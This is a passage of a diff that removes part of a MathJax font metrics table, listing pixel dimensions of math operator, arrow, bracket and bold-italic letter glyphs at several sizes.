-        [4,8,2],[4,10,3],[5,11,3],[6,12,3],[7,15,4],[8,18,5],[9,20,5],[11,24,6],
-        [13,28,7],[15,34,9],[18,40,10],[21,47,12],[25,56,14],[30,67,17]
-      ],
-      0x2216: [  // SET MINUS
-        [4,8,2],[4,10,3],[5,11,3],[6,12,3],[7,15,4],[8,18,5],[9,20,5],[11,24,6],
-        [13,28,7],[15,34,9],[18,40,10],[21,47,12],[25,56,14],[30,67,17]
-      ],
-      0x2217: [  // ASTERISK OPERATOR
-        [3,4,0],[4,4,0],[5,5,0],[6,6,0],[6,7,0],[8,8,0],[9,10,0],[11,11,0],
-        [12,13,0],[15,15,-1],[17,18,-1],[21,21,-1],[24,25,-1],[29,29,-2]
-      ],
-      0x2218: [  // RING OPERATOR
-        [3,3,0],[4,4,0],[5,5,0],[5,5,0],[7,6,0],[8,7,-1],[9,8,-1],[11,10,-1],
-        [13,12,-1],[15,14,-1],[18,16,-2],[21,19,-2],[25,22,-3],[30,27,-3]
-      ],
-      0x2219: [  // BULLET OPERATOR
-        [4,4,0],[4,4,0],[5,5,0],[6,6,0],[7,7,0],[8,8,0],[9,8,-1],[11,10,-1],
-        [13,12,-1],[15,14,-1],[18,16,-2],[21,19,-2],[25,22,-3],[30,27,-3]
-      ],
-      0x221A: [  // SQUARE ROOT
-        [6,8,2],[8,9,2],[9,10,2],[11,13,3],[12,15,3],[15,18,4],[17,20,4],[20,24,5],
-        [24,29,6],[29,34,7],[34,40,8],[40,48,10],[48,57,12],[57,67,14]
-      ],
-      0x221D: [  // PROPORTIONAL TO
-        [5,3,0],[6,4,0],[8,5,0],[9,5,0],[11,6,0],[13,8,0],[15,9,0],[17,12,1],
-        [21,14,1],[24,16,1],[29,19,1],[34,22,1],[40,26,1],[48,30,1]
-      ],
-      0x221E: [  // INFINITY
-        [7,3,0],[8,4,0],[10,5,0],[11,5,0],[14,6,0],[16,9,1],[19,10,1],[22,12,1],
-        [27,14,1],[32,16,1],[37,19,1],[44,22,1],[53,26,1],[63,31,1]
-      ],
-      0x2220: [  // ANGLE
-        [5,5,0],[6,6,0],[7,7,0],[8,9,0],[10,10,0],[12,12,0],[13,14,0],[16,17,0],
-        [19,20,0],[22,23,0],[27,28,0],[31,33,0],[37,39,0],[44,46,0]
-      ],
-      0x2223: [  // DIVIDES
-        [1,8,2],[2,10,3],[2,11,3],[2,12,3],[2,15,4],[3,18,5],[3,20,5],[4,24,6],
-        [5,28,7],[6,34,9],[7,40,10],[8,47,12],[9,56,14],[11,67,17]
-      ],
-      0x2225: [  // PARALLEL TO
-        [3,8,2],[4,10,3],[4,11,3],[5,14,4],[6,16,5],[7,18,5],[8,22,6],[9,25,7],
-        [11,30,8],[13,36,10],[15,42,11],[18,50,13],[21,59,16],[25,70,19]
-      ],
-      0x2227: [  // LOGICAL AND
-        [5,6,1],[6,6,1],[6,7,1],[8,9,1],[9,10,1],[11,11,1],[12,13,1],[15,15,1],
-        [17,18,1],[21,21,1],[24,25,1],[29,30,2],[34,36,2],[41,42,2]
-      ],
-      0x2228: [  // LOGICAL OR
-        [5,6,1],[6,6,1],[6,7,1],[8,9,1],[9,10,1],[11,11,1],[12,13,1],[15,15,1],
-        [17,18,1],[21,21,1],[24,25,1],[29,30,2],[34,36,2],[41,42,2]
-      ],
-      0x2229: [  // stix-intersection, serifs
-        [5,5,1],[5,6,1],[6,7,1],[7,8,1],[9,10,1],[10,11,1],[12,13,1],[14,15,1],
-        [17,18,1],[21,21,1],[24,25,1],[29,30,2],[34,36,2],[41,42,2]
-      ],
-      0x222A: [  // stix-union, serifs
-        [5,5,1],[6,6,1],[6,7,1],[8,8,1],[9,10,1],[11,11,1],[12,13,1],[14,15,1],
-        [18,18,1],[21,21,1],[24,25,1],[29,29,1],[34,36,2],[41,42,2]
-      ],
-      0x222B: [  // INTEGRAL
-        [3,7,2],[4,8,2],[5,9,2],[6,12,3],[7,13,3],[8,16,4],[10,18,4],[11,23,6],
-        [13,26,6],[16,32,8],[19,38,9],[22,45,11],[26,52,12],[31,63,15]
-      ],
-      0x223C: [  // TILDE OPERATOR
-        [5,2,-1],[6,2,-1],[7,3,-1],[9,4,-1],[10,3,-2],[12,5,-2],[14,6,-2],[17,6,-3],
-        [20,8,-3],[24,9,-4],[29,10,-5],[34,12,-6],[40,14,-7],[48,17,-8]
-      ],
-      0x2240: [  // WREATH PRODUCT
-        [2,5,1],[2,6,1],[2,7,1],[3,8,1],[4,9,1],[4,12,2],[5,14,2],[6,16,2],
-        [7,19,3],[8,23,3],[9,27,4],[11,32,4],[13,38,5],[15,45,6]
-      ],
-      0x2243: [  // ASYMPTOTICALLY EQUAL TO
-        [5,4,0],[6,4,0],[8,5,0],[9,6,0],[10,7,0],[12,8,0],[15,10,0],[17,10,-1],
-        [20,12,-1],[24,15,-1],[29,18,-1],[34,21,-1],[40,25,-1],[48,29,-2]
-      ],
-      0x2245: [  // APPROXIMATELY EQUAL TO
-        [5,4,0],[6,5,0],[8,6,0],[9,7,0],[10,8,0],[12,10,0],[15,12,0],[17,14,0],
-        [20,17,0],[24,20,0],[29,24,0],[34,27,-1],[40,32,-1],[48,38,-1]
-      ],
-      0x2248: [  // ALMOST EQUAL TO
-        [5,4,0],[6,4,0],[7,5,0],[9,6,0],[10,6,-1],[12,9,0],[14,9,-1],[17,11,-1],
-        [20,13,-1],[24,15,-1],[29,17,-2],[34,21,-2],[40,24,-3],[48,29,-3]
-      ],
-      0x224D: [  // EQUIVALENT TO
-        [5,4,0],[6,5,0],[8,5,0],[9,6,0],[10,7,0],[12,9,0],[15,10,0],[17,12,0],
-        [20,14,0],[24,16,0],[29,19,0],[34,23,0],[40,27,0],[48,31,-1]
-      ],
-      0x2250: [  // APPROACHES THE LIMIT
-        [5,4,-1],[6,5,-1],[8,6,-1],[9,7,-1],[10,8,-2],[12,10,-2],[15,12,-2],[17,13,-3],
-        [20,16,-3],[24,19,-4],[29,22,-5],[34,26,-6],[40,31,-7],[48,37,-8]
-      ],
-      0x2260: [  // stix-not (vert) equals
-        [5,7,2],[6,8,2],[8,10,3],[9,12,3],[10,13,3],[12,16,4],[15,19,5],[17,23,6],
-        [20,26,6],[24,32,8],[29,38,9],[34,45,11],[40,53,13],[48,62,15]
-      ],
-      0x2261: [  // IDENTICAL TO
-        [5,4,0],[6,4,0],[8,5,0],[9,6,0],[10,7,0],[12,8,0],[15,9,0],[17,10,-1],
-        [20,12,-1],[24,15,-1],[29,18,-1],[34,21,-1],[40,25,-1],[48,29,-2]
-      ],
-      0x2264: [  // LESS-THAN OR EQUAL TO
-        [5,6,1],[6,7,1],[8,9,2],[9,10,2],[10,11,2],[12,14,3],[15,16,3],[17,18,3],
-        [20,22,4],[24,26,5],[28,31,6],[34,37,7],[40,44,8],[48,52,10]
-      ],
-      0x2265: [  // GREATER-THAN OR EQUAL TO
-        [5,6,1],[6,7,1],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,18,3],
-        [20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,44,8],[46,52,10]
-      ],
-      0x226A: [  // MUCH LESS-THAN
-        [7,5,1],[8,6,1],[10,7,1],[12,8,1],[14,9,1],[16,12,2],[19,14,2],[22,16,2],
-        [27,18,2],[31,22,3],[37,26,3],[44,31,4],[53,36,4],[62,43,5]
-      ],
-      0x226B: [  // MUCH GREATER-THAN
-        [7,5,1],[8,6,1],[10,7,1],[12,8,1],[14,9,1],[16,12,2],[19,14,2],[23,16,2],
-        [27,18,2],[32,22,3],[38,26,3],[45,31,4],[53,36,4],[63,43,5]
-      ],
-      0x227A: [  // PRECEDES
-        [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],
-        [20,17,2],[23,20,2],[28,24,2],[33,28,2],[39,33,3],[46,39,3]
-      ],
-      0x227B: [  // SUCCEEDS
-        [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],
-        [20,17,2],[23,20,2],[28,24,2],[33,27,2],[39,33,3],[46,39,3]
-      ],
-      0x2282: [  // SUBSET OF
-        [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],
-        [19,17,2],[23,20,2],[27,23,2],[33,27,2],[39,33,3],[46,39,3]
-      ],
-      0x2283: [  // SUPERSET OF
-        [5,5,1],[6,6,1],[7,7,1],[8,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],
-        [20,17,2],[23,20,2],[28,24,2],[33,28,2],[39,33,3],[46,39,3]
-      ],
-      0x2286: [  // SUBSET OF OR EQUAL TO
-        [5,6,1],[6,7,1],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,19,4],
-        [19,22,4],[23,26,5],[27,31,6],[33,37,7],[39,44,8],[46,52,10]
-      ],
-      0x2287: [  // SUPERSET OF OR EQUAL TO
-        [5,6,1],[6,7,1],[7,9,2],[8,10,2],[10,11,2],[12,14,3],[14,16,3],[17,18,3],
-        [20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,44,8],[46,51,9]
-      ],
-      0x228E: [  // MULTISET UNION
-        [5,6,1],[6,6,1],[6,7,1],[8,9,1],[9,10,1],[11,11,1],[12,13,1],[14,16,1],
-        [18,18,1],[21,21,1],[24,25,1],[29,29,1],[34,36,2],[41,42,2]
-      ],
-      0x2291: [  // SQUARE IMAGE OF OR EQUAL TO
-        [5,6,1],[6,7,1],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,18,3],
-        [20,22,4],[24,26,5],[28,31,6],[34,37,7],[40,44,8],[47,52,10]
-      ],
-      0x2292: [  // SQUARE ORIGINAL OF OR EQUAL TO
-        [5,6,1],[6,7,1],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,18,3],
-        [20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,44,8],[46,52,10]
-      ],
-      0x2293: [  // stix-square intersection, serifs
-        [5,5,1],[5,5,0],[6,6,0],[7,8,1],[9,10,1],[10,10,0],[12,12,0],[14,14,0],
-        [17,18,1],[20,20,0],[24,24,0],[29,28,0],[34,34,0],[40,40,0]
-      ],
-      0x2294: [  // stix-square union, serifs
-        [5,5,0],[5,5,0],[6,6,0],[7,8,0],[9,9,0],[10,10,0],[12,12,0],[14,14,0],
-        [17,17,0],[20,20,0],[24,24,0],[29,28,0],[34,34,0],[40,40,0]
-      ],
-      0x2295: [  // stix-circled plus (with rim)
-        [5,5,1],[6,6,1],[8,7,1],[9,8,1],[11,9,1],[13,12,2],[15,14,2],[17,16,2],
-        [20,20,3],[24,23,3],[29,27,4],[34,32,4],[40,38,5],[48,45,6]
-      ],
-      0x2296: [  // CIRCLED MINUS
-        [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,12,2],[14,14,2],[17,16,2],
-        [21,20,3],[24,23,3],[29,27,4],[34,32,4],[40,38,5],[48,45,6]
-      ],
-      0x2297: [  // stix-circled times (with rim)
-        [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,12,2],[15,14,2],[17,16,2],
-        [21,20,3],[24,23,3],[29,27,4],[34,32,4],[40,38,5],[48,45,6]
-      ],
-      0x2298: [  // CIRCLED DIVISION SLASH
-        [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,12,2],[15,14,2],[17,16,2],
-        [21,20,3],[24,23,3],[29,27,4],[34,32,4],[40,38,5],[48,45,6]
-      ],
-      0x2299: [  // CIRCLED DOT OPERATOR
-        [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,12,2],[15,14,2],[17,16,2],
-        [21,20,3],[24,23,3],[29,27,4],[34,32,4],[40,38,5],[48,45,6]
-      ],
-      0x22A2: [  // RIGHT TACK
-        [4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],[10,12,0],[11,14,0],[13,17,0],
-        [16,20,0],[19,23,0],[22,28,0],[26,33,0],[31,39,0],[37,46,0]
-      ],
-      0x22A3: [  // LEFT TACK
-        [4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],[9,12,0],[11,14,0],[13,17,0],
-        [16,20,0],[19,23,0],[22,28,0],[26,33,0],[31,39,0],[37,46,0]
-      ],
-      0x22A4: [  // DOWN TACK
-        [5,5,0],[6,6,0],[8,7,0],[9,8,0],[10,11,1],[12,12,1],[15,14,1],[17,16,0],
-        [20,20,1],[24,22,0],[29,27,0],[34,32,0],[40,37,0],[48,44,0]
-      ],
-      0x22A5: [  // UP TACK
-        [5,5,0],[6,6,0],[8,7,0],[9,8,0],[10,10,0],[12,12,0],[15,14,0],[17,16,0],
-        [20,19,0],[24,22,0],[29,27,0],[34,32,0],[40,37,0],[48,44,0]
-      ],
-      0x22A8: [  // TRUE
-        [6,8,2],[7,10,3],[8,11,3],[10,12,3],[12,15,4],[14,18,5],[16,20,5],[19,24,6],
-        [23,28,7],[27,34,9],[32,40,10],[38,47,12],[45,56,14],[54,67,17]
-      ],
-      0x22C4: [  // DIAMOND OPERATOR
-        [4,4,0],[5,5,0],[5,5,0],[6,6,0],[7,7,0],[9,9,0],[10,10,0],[12,12,0],
-        [14,14,0],[17,17,0],[20,20,0],[23,23,0],[27,27,0],[33,33,0]
-      ],
-      0x22C5: [  // DOT OPERATOR
-        [2,1,-1],[2,2,-1],[2,3,-1],[3,2,-2],[3,3,-2],[4,3,-3],[4,4,-3],[5,4,-4],
-        [6,4,-5],[7,5,-6],[8,6,-7],[10,7,-8],[11,8,-10],[14,9,-12]
-      ],
-      0x22C6: [  // STAR OPERATOR
-        [4,4,0],[5,5,0],[5,5,0],[6,6,0],[7,7,0],[9,9,0],[10,10,0],[12,12,0],
-        [14,14,0],[17,16,0],[20,20,0],[24,23,0],[28,27,0],[33,31,-1]
-      ],
-      0x22C8: [  // BOWTIE
-        [7,5,1],[8,6,1],[9,6,1],[11,7,1],[13,8,1],[15,10,1],[17,11,1],[21,13,1],
-        [25,15,1],[29,18,1],[35,21,1],[41,25,1],[49,29,1],[58,35,1]
-      ],
-      0x22EE: [  // VERTICAL ELLIPSIS
-        [2,6,0],[2,9,1],[2,10,1],[3,12,1],[3,14,1],[4,16,1],[4,19,1],[5,22,1],
-        [6,26,1],[7,31,1],[8,38,2],[10,44,2],[11,52,2],[14,62,2]
-      ],
-      0x22EF: [  // MIDLINE HORIZONTAL ELLIPSIS
-        [8,1,-1],[9,2,-1],[11,3,-1],[13,2,-2],[16,3,-2],[19,3,-3],[22,4,-3],[26,4,-4],
-        [31,4,-5],[36,5,-6],[43,6,-7],[51,7,-8],[61,8,-10],[73,9,-12]
-      ],
-      0x22F1: [  // DOWN RIGHT DIAGONAL ELLIPSIS
-        [8,6,0],[10,7,0],[12,9,0],[14,9,-1],[16,11,-1],[20,13,-1],[23,15,-1],[27,18,-2],
-        [32,21,-2],[38,24,-3],[46,30,-3],[54,35,-4],[64,41,-5],[76,48,-6]
-      ],
-      0x2308: [  // LEFT CEILING
-        [3,8,2],[4,9,2],[5,11,3],[5,12,3],[6,15,4],[8,17,4],[9,20,5],[10,25,7],
-        [12,28,7],[14,34,9],[17,40,10],[20,47,12],[24,56,14],[28,67,17]
-      ],
-      0x2309: [  // RIGHT CEILING
-        [2,8,2],[3,9,2],[3,11,3],[3,12,3],[4,15,4],[5,17,4],[5,20,5],[7,24,6],
-        [8,28,7],[9,34,9],[11,40,10],[13,47,12],[15,56,14],[18,67,17]
-      ],
-      0x230A: [  // LEFT FLOOR
-        [3,8,2],[4,9,2],[5,11,3],[5,12,3],[6,15,4],[8,17,4],[8,20,5],[10,24,6],
-        [12,28,7],[14,34,9],[17,40,10],[20,47,12],[24,56,14],[28,67,17]
-      ],
-      0x230B: [  // RIGHT FLOOR
-        [2,8,2],[3,9,2],[3,11,3],[3,12,3],[4,15,4],[5,17,4],[5,20,5],[6,24,6],
-        [8,28,7],[9,34,9],[11,40,10],[13,47,12],[15,56,14],[18,67,17]
-      ],
-      0x2322: [  // stix-small down curve
-        [7,3,0],[8,4,0],[10,3,-1],[12,4,-1],[14,5,-1],[16,6,-1],[19,6,-2],[22,8,-2],
-        [27,8,-3],[32,9,-4],[37,12,-4],[44,13,-5],[53,16,-6],[63,19,-7]
-      ],
-      0x2323: [  // stix-small up curve
-        [7,2,-1],[8,3,-1],[10,3,-1],[12,4,-1],[14,4,-2],[16,5,-2],[19,6,-2],[22,6,-3],
-        [27,8,-3],[32,9,-4],[38,10,-5],[44,12,-6],[53,15,-7],[63,17,-8]
-      ],
-      0x23B0: [  // UPPER LEFT OR LOWER RIGHT CURLY BRACKET SECTION
-        [3,8,2],[3,9,2],[4,11,3],[5,12,3],[5,15,4],[6,17,4],[7,20,5],[9,24,6],
-        [10,28,7],[12,33,8],[14,40,10],[17,46,11],[20,55,13],[24,65,16]
-      ],
-      0x23B1: [  // UPPER RIGHT OR LOWER LEFT CURLY BRACKET SECTION
-        [3,8,2],[3,9,2],[4,11,3],[5,12,3],[5,15,4],[6,17,4],[7,20,5],[9,24,6],
-        [10,28,7],[12,33,8],[14,39,10],[17,47,12],[20,55,14],[24,65,16]
-      ],
-      0x27E8: [  // MATHEMATICAL LEFT ANGLE BRACKET
-        [3,8,2],[3,10,3],[4,11,3],[4,12,3],[5,15,4],[6,18,5],[7,20,5],[8,24,6],
-        [10,28,7],[11,34,9],[14,40,10],[16,47,12],[19,56,14],[22,67,17]
-      ],
-      0x27E9: [  // MATHEMATICAL RIGHT ANGLE BRACKET
-        [2,8,2],[3,10,3],[3,11,3],[4,12,3],[4,15,4],[5,18,5],[6,20,5],[7,24,6],
-        [8,28,7],[10,34,9],[11,40,10],[13,47,12],[16,56,14],[19,67,17]
-      ],
-      0x27EE: [  // MATHEMATICAL LEFT FLATTENED PARENTHESIS
-        [3,8,2],[3,9,2],[4,11,3],[5,12,3],[5,15,4],[6,17,4],[8,20,5],[9,24,6],
-        [10,28,7],[12,33,8],[14,40,10],[17,47,12],[20,56,14],[24,65,16]
-      ],
-      0x27EF: [  // MATHEMATICAL RIGHT FLATTENED PARENTHESIS
-        [2,8,2],[2,9,2],[3,11,3],[3,12,3],[4,15,4],[4,17,4],[5,20,5],[6,24,6],
-        [7,28,7],[8,33,8],[10,40,10],[12,46,11],[14,55,13],[16,65,16]
-      ],
-      0x27F5: [  // LONG LEFTWARDS ARROW
-        [11,5,1],[13,5,0],[15,6,1],[18,7,1],[22,9,1],[26,9,0],[30,11,1],[36,13,1],
-        [43,15,1],[51,18,1],[60,21,1],[71,25,1],[85,30,1],[101,35,1]
-      ],
-      0x27F6: [  // LONG RIGHTWARDS ARROW
-        [11,5,1],[13,5,0],[16,7,1],[19,7,1],[22,9,1],[26,9,0],[31,11,1],[37,13,1],
-        [43,15,1],[52,18,1],[61,22,1],[73,25,1],[86,30,1],[103,35,1]
-      ],
-      0x27F7: [  // LONG LEFT RIGHT ARROW
-        [13,5,1],[15,5,0],[18,6,1],[22,7,1],[25,9,1],[30,9,0],[36,11,1],[42,13,1],
-        [50,15,1],[60,18,1],[71,22,1],[84,25,1],[100,30,1],[119,35,1]
-      ],
-      0x27F8: [  // LONG LEFTWARDS DOUBLE ARROW
-        [11,5,1],[13,6,1],[16,7,1],[19,8,1],[22,9,1],[26,10,1],[31,11,1],[37,14,1],
-        [43,16,1],[52,20,2],[61,23,2],[73,27,2],[86,31,2],[103,37,2]
-      ],
-      0x27F9: [  // LONG RIGHTWARDS DOUBLE ARROW
-        [11,5,1],[14,6,1],[16,7,1],[19,8,1],[22,9,1],[27,10,1],[31,12,1],[37,14,1],
-        [44,16,1],[52,19,1],[62,22,1],[74,26,1],[88,32,2],[104,37,2]
-      ],
-      0x27FA: [  // LONG LEFT RIGHT DOUBLE ARROW
-        [13,5,1],[15,6,1],[18,7,1],[22,8,1],[25,9,1],[30,10,1],[36,12,1],[42,14,1],
-        [50,16,1],[60,20,2],[71,23,2],[84,27,2],[100,31,2],[119,37,2]
-      ],
-      0x27FC: [  // LONG RIGHTWARDS ARROW FROM BAR
-        [11,5,1],[13,5,0],[16,7,1],[19,7,1],[22,9,1],[26,9,0],[31,11,1],[37,13,1],
-        [44,15,1],[52,18,1],[61,22,1],[73,25,1],[86,30,1],[103,35,1]
-      ],
-      0x2A3F: [  // AMALGAMATION OR COPRODUCT
-        [5,5,0],[6,6,0],[8,7,0],[9,9,0],[10,10,0],[12,12,0],[15,14,0],[17,16,0],
-        [20,19,0],[24,23,0],[29,27,0],[34,32,0],[40,38,0],[48,45,0]
-      ],
-      0x2AAF: [  // PRECEDES ABOVE SINGLE-LINE EQUALS SIGN
-        [5,6,1],[6,7,1],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,18,3],
-        [20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,44,8],[46,52,10]
-      ],
-      0x2AB0: [  // SUCCEEDS ABOVE SINGLE-LINE EQUALS SIGN
-        [5,6,1],[6,7,1],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,19,4],
-        [20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,44,8],[46,52,10]
-      ]
-    },
-
-    "MathJax_Math-bold-italic": {
-      0x20: [  // SPACE
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x2F: [  // SOLIDUS
-        [6,6,1],[7,8,2],[8,10,2],[9,10,2],[11,12,3],[13,16,4],[15,18,4],[18,22,5],
-        [21,26,6],[25,31,7],[29,37,8],[35,43,9],[41,51,11],[49,62,14]
-      ],
-      0x41: [  // LATIN CAPITAL LETTER A
-        [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-        [24,20,0],[28,23,0],[33,29,0],[40,33,0],[47,40,0],[56,47,0]
-      ],
-      0x42: [  // LATIN CAPITAL LETTER B
-        [6,5,0],[8,6,0],[9,8,0],[11,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-        [24,20,0],[29,23,0],[34,28,0],[40,32,0],[48,38,0],[57,46,0]
-      ],
-      0x43: [  // LATIN CAPITAL LETTER C
-        [6,5,0],[8,6,0],[9,8,0],[11,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-        [24,20,0],[29,24,1],[34,29,1],[40,33,1],[48,40,0],[57,49,2]
-      ],
-      0x44: [  // LATIN CAPITAL LETTER D
-        [7,5,0],[8,6,0],[9,8,0],[11,8,0],[13,9,0],[16,12,0],[18,14,0],[22,17,0],
-        [26,20,0],[31,23,0],[36,28,0],[43,32,0],[51,38,0],[61,46,0]
-      ],
-      0x45: [  // LATIN CAPITAL LETTER E
-        [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-        [23,20,0],[28,23,0],[33,28,0],[39,32,0],[46,38,0],[55,46,0]
-      ],
-      0x46: [  // LATIN CAPITAL LETTER F
-        [6,5,0],[7,6,0],[8,8,0],[10,8,0],[12,9,0],[14,12,0],[16,14,0],[19,17,0],
-        [23,20,0],[27,23,0],[32,28,0],[38,32,0],[45,38,0],[54,46,0]
-      ],
-      0x47: [  // LATIN CAPITAL LETTER G
-        [6,5,0],[8,6,0],[9,8,0],[11,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-        [24,20,0],[29,24,1],[34,29,1],[40,33,1],[48,40,0],[57,48,1]
-      ],
-      0x48: [  // LATIN CAPITAL LETTER H
-        [8,5,0],[9,6,0],[11,8,0],[13,8,0],[15,9,0],[18,12,0],[21,14,0],[24,17,0],
-        [29,20,0],[34,23,0],[41,28,0],[48,32,0],[58,38,0],[68,46,0]
-      ],
-      0x49: [  // LATIN CAPITAL LETTER I
-        [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[10,12,0],[12,14,0],[14,17,0],
-        [16,20,0],[19,23,0],[23,28,0],[27,32,0],[32,38,0],[38,46,0]
-      ],
-      0x4A: [  // LATIN CAPITAL LETTER J
-        [5,5,0],[6,6,0],[7,8,0],[9,8,0],[10,9,0],[12,12,0],[14,14,0],[17,17,0],
-        [20,20,0],[23,24,1],[28,29,1],[33,33,1],[39,39,1],[46,47,1]
-      ],
-      0x4B: [  // LATIN CAPITAL LETTER K
-        [7,5,0],[9,6,0],[10,8,0],[12,8,0],[14,9,0],[17,12,0],[20,14,0],[24,17,0],
-        [28,20,0],[34,23,0],[40,28,0],[47,32,0],[56,38,0],[67,46,0]
-      ],
-      0x4C: [  // LATIN CAPITAL LETTER L
-        [5,5,0],[6,6,0],[7,8,0],[9,8,0],[10,9,0],[12,12,0],[14,14,0],[17,17,0],
-        [20,20,0],[24,23,0],[28,28,0],[34,32,0],[40,38,0],[47,46,0]
-      ],
-      0x4D: [  // LATIN CAPITAL LETTER M
-        [9,6,0],[11,7,0],[12,9,0],[15,9,0],[17,10,0],[21,13,0],[24,15,0],[29,18,0],
-        [34,21,0],[41,24,0],[48,29,0],[57,33,0],[68,39,0],[81,47,0]
-      ],
-      0x4E: [  // LATIN CAPITAL LETTER N
-        [8,5,0],[9,6,0],[11,8,0],[13,8,0],[15,9,0],[18,12,0],[20,14,0],[24,17,0],
-        [29,20,0],[34,23,0],[41,28,0],[48,32,0],[57,38,0],[68,46,0]
-      ],
-      0x4F: [  // LATIN CAPITAL LETTER O
-        [6,5,0],[7,6,0],[8,8,0],[10,8,0],[12,9,0],[14,12,0],[16,14,0],[19,17,0],
-        [23,20,0],[27,24,1],[32,29,1],[38,33,1],[46,40,1],[54,48,2]
-      ],
-      0x50: [  // LATIN CAPITAL LETTER P
-        [6,5,0],[8,7,0],[9,9,0],[10,9,0],[12,10,0],[15,13,0],[17,15,0],[20,18,0],
-        [24,21,0],[28,24,0],[34,29,0],[40,33,0],[48,39,0],[56,47,0]
-      ],
-      0x51: [  // LATIN CAPITAL LETTER Q
-        [6,6,1],[7,8,2],[8,10,2],[10,10,2],[12,12,3],[14,16,4],[16,18,4],[19,22,5],
-        [23,26,6],[27,30,7],[32,36,8],[38,41,9],[46,50,11],[54,60,14]
-      ],
-      0x52: [  // LATIN CAPITAL LETTER R
-        [7,5,0],[8,6,0],[9,8,0],[11,8,0],[13,9,0],[15,12,0],[18,14,0],[21,17,0],
-        [25,20,0],[30,24,1],[35,29,1],[42,33,1],[49,39,0],[59,47,1]
-      ],
-      0x53: [  // LATIN CAPITAL LETTER S
-        [5,5,0],[6,6,0],[7,8,0],[9,8,0],[10,9,0],[12,12,0],[14,14,0],[17,17,0],
-        [20,20,0],[24,24,1],[28,29,1],[34,33,1],[40,41,2],[47,48,2]
-      ],
-      0x54: [  // LATIN CAPITAL LETTER T
-        [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-        [22,19,0],[26,22,0],[30,27,0],[36,31,0],[43,38,0],[51,45,0]
-      ],
-      0x55: [  // LATIN CAPITAL LETTER U
-        [7,5,0],[8,6,0],[9,8,0],[11,8,0],[13,9,0],[15,12,0],[18,14,0],[21,17,0],
-        [25,20,0],[29,24,1],[35,29,1],[41,33,1],[49,39,0],[58,47,1]
-      ],
-      0x56: [  // LATIN CAPITAL LETTER V
-        [7,5,0],[8,6,0],[9,8,0],[11,8,0],[13,9,0],[15,12,0],[18,14,0],[21,17,0],
-        [25,20,0],[29,24,1],[35,29,1],[41,33,1],[49,39,0],[58,47,1]
-      ],
-      0x57: [  // LATIN CAPITAL LETTER W
-        [9,5,0],[10,6,0],[12,8,0],[15,8,0],[17,9,0],[20,12,0],[24,14,0],[28,17,0],
-        [34,20,0],[40,24,1],[48,29,1],[56,33,1],[67,39,0],[80,48,1]
-      ],
-      0x58: [  // LATIN CAPITAL LETTER X
-        [7,5,0],[8,6,0],[10,8,0],[12,8,0],[14,9,0],[16,12,0],[19,14,0],[23,17,0],
-        [27,20,0],[32,23,0],[38,28,0],[45,32,0],[53,39,1],[63,46,0]
-      ],
-      0x59: [  // LATIN CAPITAL LETTER Y
-        [7,5,0],[8,6,0],[9,8,0],[11,8,0],[13,9,0],[15,12,0],[18,14,0],[21,17,0],
-        [25,20,0],[29,23,0],[35,28,0],[41,32,0],[49,38,0],[58,45,0]
-      ],
-      0x5A: [  // LATIN CAPITAL LETTER Z
-        [6,5,0],[7,6,0],[8,8,0],[10,8,0],[12,9,0],[14,12,0],[16,14,0],[19,17,0],
-        [23,20,0],[27,23,0],[32,28,0],[38,32,0],[45,38,0],[54,46,0]
-      ],
-      0x61: [  // LATIN SMALL LETTER A
-        [5,3,0],[6,4,0],[6,5,0],[8,5,0],[9,6,0],[11,8,0],[12,9,0],[15,11,0],
-        [17,13,0],[20,15,0],[24,18,0],[29,21,0],[34,25,0],[40,31,1]
-      ],
-      0x62: [  // LATIN SMALL LETTER B
-        [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[9,12,0],[10,14,0],[12,17,0],
-        [15,20,0],[17,23,0],[21,28,0],[24,32,0],[29,38,0],[34,47,1]
-      ],
-      0x63: [  // LATIN SMALL LETTER C
-        [4,3,0],[5,4,0],[5,5,0],[6,5,0],[8,6,0],[9,8,0],[10,9,0],[12,11,0],
-        [15,13,0],[17,15,0],[20,18,0],[24,21,0],[29,25,0],[34,31,1]
-      ],
-      0x64: [  // LATIN SMALL LETTER D
-        [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[12,14,0],[15,17,0],
-        [17,20,0],[21,23,0],[25,28,0],[29,32,0],[34,38,0],[41,47,1]
-      ],
-      0x65: [  // LATIN SMALL LETTER E
